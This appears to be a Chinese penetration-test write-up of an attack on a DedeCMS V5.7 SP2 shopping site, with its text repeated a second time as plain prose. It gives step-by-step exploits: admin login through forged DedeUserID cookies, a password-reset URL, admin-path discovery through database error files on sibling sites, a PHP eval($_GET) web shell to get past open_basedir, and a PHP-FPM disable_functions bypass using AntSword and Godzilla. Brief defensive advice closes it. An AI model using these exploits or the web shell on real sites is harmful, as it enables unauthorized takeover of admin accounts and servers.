一次旁站信息泄露的dedecms站点渗透
字数 1551 2025-08-19 12:41:36

DedeCMS渗透测试实战教学文档

1. 信息收集阶段

1.1 初步识别

  • 目标系统:DedeCMS V5.7 SP2
  • 中间件:Nginx
  • 网站类型:购物商城类站点

1.2 后台探测

  • 默认后台路径/dede返回404,说明管理员已修改默认后台路径
  • 检查网站最后更新时间可帮助确定CMS版本

2. DedeCMS漏洞利用

2.1 前台管理员密码重置漏洞组合利用

步骤1:注册特殊用户

  • 注册用户名为00001的账户
  • intval('00001')结果为1,对应管理员ID

步骤2:获取认证信息

  1. 访问用户页面:/member/index.php?uid=00001
  2. 从响应包中获取last_vid__ckMd5

步骤3:伪造管理员会话

  1. 访问/member/
  2. 修改Cookie:
    • DedeUserID改为0001
    • DedeUserID__ckMd5改为之前获取的last_vid__ckMd5
  3. 成功登录管理员账户

2.2 任意用户密码重置漏洞

步骤1:生成重置密钥

访问URL:

http://X.X.X.X/member/resetpassword.php?dopost=safequestion&safequestion=0.0&safeanswer=&id=1

步骤2:快速跳转

  • 页面会短暂显示跳转链接
  • 快速点击"立即跳转"进入密码重置页面

注意事项:

  • 此漏洞只能修改dede_member表中的密码
  • 管理员密码实际存储在dede_admin表中
  • 需在前台账户设置中再次修改密码才能真正更改管理员密码

3. 后台路径发现

3.1 数据库报错文件分析

  • DedeCMS在data目录下存在mysqli_error_trace.inc文件
  • 该文件记录MySQL查询错误,可能暴露后台路径

3.2 旁站信息收集

  1. 通过真实IP反查域名
  2. 查找使用相同CMS的旁站
  3. 尝试在旁站上寻找数据库报错文件
  4. 将发现的路径应用到主站

4. 绕过安全限制

4.1 绕过open_basedir限制

方法1:使用专用代码

<?php 
echo 'open_basedir: ' . ini_get('open_basedir') . '<br>';
echo 'GET: ' . $_GET['c'] . '<br>';
eval($_GET['c']);
echo 'open_basedir: ' . ini_get('open_basedir');
?>

方法2:使用哥斯拉工具

  • 哥斯拉内置了bypass open_basedir插件

4.2 绕过disable_functions限制

环境分析:

  • 服务器:Linux
  • PHP运行模式:FPM/FastCGI
  • 当前目录可写

PHP-FPM绕过方法:

  1. 使用蚁剑的绕过disable_functions插件
  2. 选择PHP-FPM/FastCGI模式
  3. 指定FPM地址(如/tmp目录)
  4. 成功后会生成.antproxy.php代理文件
  5. 创建副本并连接该代理文件

禁用函数列表:

passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,
proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,
readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,
pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,
pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,
pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,
pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,
pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
imap_open,apache_setenv

5. 提权尝试

5.1 发现phpMyAdmin

  • 发现存在phpmyadmin目录
  • 宝塔面板默认在888端口搭建phpMyAdmin
  • 目标未开放888端口

5.2 限制因素

  • bypass后的shell连接不稳定(约2分钟断开)
  • 存在宝塔面板,提权风险较高

6. 关键知识点总结

  1. DedeCMS漏洞组合利用

    • 前台用户ID处理漏洞
    • 任意用户密码重置漏洞
    • 需注意密码存储在不同表中
  2. 旁站信息收集技巧

    • 同类型站点往往有相似目录结构
    • 数据库报错文件可能泄露关键路径
  3. 安全限制绕过

    • open_basedir限制绕过方法
    • disable_functions绕过技术(特别是PHP-FPM方式)
  4. 渗透测试策略

    • 当主站防护严格时,旁站可能成为突破口
    • 系统环境分析对选择绕过方法至关重要

7. 防御建议

  1. 针对DedeCMS

    • 及时更新到最新版本
    • 修改默认后台路径
    • 限制会员注册功能
  2. 服务器安全

    • 定期检查并清理数据库报错文件
    • 合理配置open_basedir和disable_functions
    • 监控/tmp目录异常文件
  3. 网络架构

    • 避免同IP下部署多个相似站点
    • 对旁站进行同等安全防护
  4. 应急响应

    • 建立webshell检测机制
    • 对异常管理员登录行为进行告警
DedeCMS渗透测试实战教学文档 1. 信息收集阶段 1.1 初步识别 目标系统:DedeCMS V5.7 SP2 中间件:Nginx 网站类型:购物商城类站点 1.2 后台探测 默认后台路径 /dede 返回404,说明管理员已修改默认后台路径 检查网站最后更新时间可帮助确定CMS版本 2. DedeCMS漏洞利用 2.1 前台管理员密码重置漏洞组合利用 步骤1:注册特殊用户 注册用户名为 00001 的账户 intval('00001') 结果为1,对应管理员ID 步骤2:获取认证信息 访问用户页面: /member/index.php?uid=00001 从响应包中获取 last_vid__ckMd5 值 步骤3:伪造管理员会话 访问 /member/ 修改Cookie: DedeUserID 改为 0001 DedeUserID__ckMd5 改为之前获取的 last_vid__ckMd5 值 成功登录管理员账户 2.2 任意用户密码重置漏洞 步骤1:生成重置密钥 访问URL: 步骤2:快速跳转 页面会短暂显示跳转链接 快速点击"立即跳转"进入密码重置页面 注意事项: 此漏洞只能修改 dede_member 表中的密码 管理员密码实际存储在 dede_admin 表中 需在前台账户设置中再次修改密码才能真正更改管理员密码 3. 后台路径发现 3.1 数据库报错文件分析 DedeCMS在 data 目录下存在 mysqli_error_trace.inc 文件 该文件记录MySQL查询错误,可能暴露后台路径 3.2 旁站信息收集 通过真实IP反查域名 查找使用相同CMS的旁站 尝试在旁站上寻找数据库报错文件 将发现的路径应用到主站 4. 绕过安全限制 4.1 绕过open_ basedir限制 方法1:使用专用代码 方法2:使用哥斯拉工具 哥斯拉内置了bypass open_ basedir插件 4.2 绕过disable_ functions限制 环境分析: 服务器:Linux PHP运行模式:FPM/FastCGI 当前目录可写 PHP-FPM绕过方法: 使用蚁剑的绕过disable_ functions插件 选择PHP-FPM/FastCGI模式 指定FPM地址(如 /tmp 目录) 成功后会生成 .antproxy.php 代理文件 创建副本并连接该代理文件 禁用函数列表: 5. 提权尝试 5.1 发现phpMyAdmin 发现存在 phpmyadmin 目录 宝塔面板默认在888端口搭建phpMyAdmin 目标未开放888端口 5.2 限制因素 bypass后的shell连接不稳定(约2分钟断开) 存在宝塔面板,提权风险较高 6. 关键知识点总结 DedeCMS漏洞组合利用 : 前台用户ID处理漏洞 任意用户密码重置漏洞 需注意密码存储在不同表中 旁站信息收集技巧 : 同类型站点往往有相似目录结构 数据库报错文件可能泄露关键路径 安全限制绕过 : open_ basedir限制绕过方法 disable_ functions绕过技术(特别是PHP-FPM方式) 渗透测试策略 : 当主站防护严格时,旁站可能成为突破口 系统环境分析对选择绕过方法至关重要 7. 防御建议 针对DedeCMS : 及时更新到最新版本 修改默认后台路径 限制会员注册功能 服务器安全 : 定期检查并清理数据库报错文件 合理配置open_ basedir和disable_ functions 监控/tmp目录异常文件 网络架构 : 避免同IP下部署多个相似站点 对旁站进行同等安全防护 应急响应 : 建立webshell检测机制 对异常管理员登录行为进行告警